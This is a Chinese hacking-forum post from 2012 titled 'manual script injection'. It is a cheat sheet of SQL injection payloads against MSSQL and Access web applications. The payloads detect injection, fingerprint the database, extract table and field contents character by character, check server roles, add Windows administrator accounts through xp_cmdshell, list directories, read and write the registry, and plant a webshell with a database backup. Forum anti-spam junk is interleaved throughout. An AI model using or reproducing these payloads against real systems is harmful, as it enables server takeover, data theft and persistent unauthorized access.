中国网络渗透测试联盟
标题:
手工脚本注入
[打印本页]
作者:
admin
时间:
2012-9-15 14:48
标题:
手工脚本注入
手工脚本注入
9 C n) ^8 e ]4 M. r4 x
1.判断是否有注入;and 1=1 ;and 1=2
& n0 M4 ^, {" s7 r
: h9 J9 H/ [, E/ Q
2.初步判断是否是mssql ;and user>0
# p/ t2 O, {7 @0 ^6 W
4 @. n7 x& k% z
3.注入参数是字符'and [查询条件] and ''='
1 z3 F# G* ^6 k$ S/ i
* K& @8 E; ?% n7 T: X
4.搜索时没过滤参数的'and [查询条件] and '%25'='
; P) Z9 L9 H1 c! p
5 ^7 _0 W9 h2 e) R# }
5.判断数据库系统
; M0 }- K( A9 i1 }$ Z/ H: h T
;and (select count(*) from sysobjects)>0 mssql
( S! `+ _& U' v
;and (select count(*) from msysobjects)>0 access
/ U$ |; K+ ^7 h3 m8 B. O
4 {$ ^5 e, D& k! A" I5 \" c5 L% A
6.猜数据库 ;and (select Count(*) from [数据库名])>0
" r; C7 I* M, `! U3 ^ |9 {, `
& B- T3 s' A6 L/ p* ^
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
/ A" V6 O& j- w6 Y- @. m; \
) q% M$ }5 C2 R8 o3 z
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
: G$ h" d1 e% j. |: Q, N
8 j& N( {7 Y# D! t: V) j
9.(1)猜字段的ascii值(access)
3 }( Z1 n' K4 C" _- x i# x
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
& `7 G% V! n% h$ I& f! }9 ~
; L5 S3 l6 }- U' c
(2)猜字段的ascii值(mssql)
. i u; x- ]7 @4 v& X0 e
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
& S+ P0 ^! @$ ~& R/ T& j" A+ `
1 m4 n# o( }8 |) W
10.测试权限结构(mssql)
6 T" H& ~3 w5 E) w& N
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; C) c% q9 q; \% d' E* h& p3 y
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
1 F ?6 p' K+ ?' Z7 G- u; [
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
! P5 h1 _& U7 w
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
* |3 q3 p6 {* h8 a/ g- \
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 s0 n0 ?) W, n
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
# J* F1 v& W% ?1 I$ R ]: p
;and 1=(select IS_MEMBER('db_owner'));--
! [! M& x' L6 K% r( C
9 u& j8 A2 c) C9 Q* h5 Y
11.添加mssql和系统的帐户
- n# t% E. S0 H- c* w, v
;exec master.dbo.sp_addlogin username;--
6 V( `& h! W ?, j
0 K# s7 H8 a# v6 M. ]3 `' Q
;exec master.dbo.sp_password null,username,password;--
( ^5 W& A6 X. m- u' N, }5 ?
" j8 ^; o/ \/ a# H+ c4 _
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) x+ g; Q* M1 R d. A
% X U/ l; C5 A# u1 [8 N
;exec master.dbo.xp_cmdshell 'net user username password
# ?8 R! w/ I) O9 |# ^% u
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
' q. ^! X6 i1 X3 q6 ^, \- C
# h* w1 D* l& W0 p
;exec master.dbo.xp_cmdshell 'net user username password /add';--
! b: M3 e2 x! s% X3 M2 o
( e4 }/ M9 K) q1 r
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
+ A* a+ Z6 G% b$ B" u6 }
& u; s! O8 M! ~1 F9 G+ |
12.(1)遍历目录
$ v; Y+ u, ?7 K9 @6 H, ~% y
8 O. r) X: q5 A( j. l* ^
;create table dirs(paths varchar(100), id int)
# d& ]" s' ^, f9 n) G
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: U+ R2 C' X8 C& s
;and (select top 1 paths from dirs)>0
' W6 Q5 C( m6 h! A/ ]5 y; T
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 B' w7 ?3 v& @& M! _/ s
" w3 F x/ B. {# T5 j
(2)遍历目录
1 I& A" c/ m' ^$ c
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
! k5 A' B$ o; K* h
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
3 s$ N- u/ ~: M/ m( X
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 j x' ^+ j) {6 d/ |! X5 k
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
3 g0 j+ [7 C- P
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
. M, O+ ]/ C% e! e1 _1 p6 B9 I
7 w' C( Y- d$ J% h8 G2 @
13.mssql中的存储过程
5 G/ `3 V; N- N# P
: O8 N# f0 |; ^# L* u
xp_regenumvalues 注册表根键, 子键
7 F! X+ k5 ]6 O3 M8 V
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
) z, C( {" V0 `/ ]
( Z, N, ` I9 V) |8 M! W
xp_regread 根键,子键,键值名
6 k% o3 B3 ?0 U/ c( n' o) H
;exec xp_regread
' E: z, g1 y9 C* d
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( Y5 C6 }) P6 E8 k; q4 e
$ {- L5 T# ^1 y5 r
xp_regwrite 根键,子键, 值名, 值类型, 值
7 E# P- w. S- p- N
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
/ X' l- C6 o1 h% \/ T& X! u
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
) O# s C( }' i5 d' _' S0 T# v
4 g: [! Y. z( b/ N
xp_regdeletevalue 根键,子键,值名
. X& F5 Y: [* V. Z
# \. V5 b4 D/ Y1 T3 x7 O
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
3 {2 A6 m" Z* J$ F. C
4 o& M' r) {* f8 \% P& z% {, C' L
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 K9 w9 L: e6 }4 n, s" W
, k% |1 X1 H6 X J1 b* d& t
14.mssql的backup创建webshell
8 @) ~. H+ z( _7 K" r9 o# g( `% |! F
use model
, X# z1 `/ W, H' G4 M; C* V* }) w
create table cmd(str image);
1 d' N5 X# U+ i! c. y n5 c
insert into cmd(str) values ('');
- d# { e+ {2 u
backup database model to disk='c:\l.asp';
0 M: j' I& U: K7 p8 c
. m' V! x6 U+ o7 \- Q
15.mssql内置函数
* j0 M! Z4 L+ p) y2 |) Y3 }* b, }
;and (select @@version)>0 获得Windows的版本号
. n* @8 _; S* i+ S" T9 ?
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
" A2 O ~/ ~9 a9 ]1 f3 D
;and (select user_name())>0 爆当前系统的连接用户
: s% Y8 o. H9 H; k+ u" A
;and (select db_name())>0 得到当前连接的数据库
! W3 r' I G- d: I: _- g- c
* D" `6 M* b1 t, v
16.简洁的webshell
$ J- p8 E( X9 O" Q; v, h! h
. P2 \ u+ x6 }. c0 p& @
use model
6 U& X' W- ^$ T' P+ W Q% k
( g7 R! h5 R8 M$ b. t# y. W
create table cmd(str image);
2 e+ y4 O3 K, |1 Z/ W: S
2 ~+ R0 L% z. b9 u k W
insert into cmd(str) values ('');
/ |: w3 s5 ?3 J# ]: A
# v9 j G/ L3 `4 u
backup database model to disk='g:\wwwtest\l.asp';
u' A$ l4 ^% U( ?' E+ u; |
0 g% e8 {& U" v7 k$ \% s" v9 l, Y
作者:
老男孩
时间:
2012-9-15 16:34
现在很多防注入啊,有其他注入字符码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2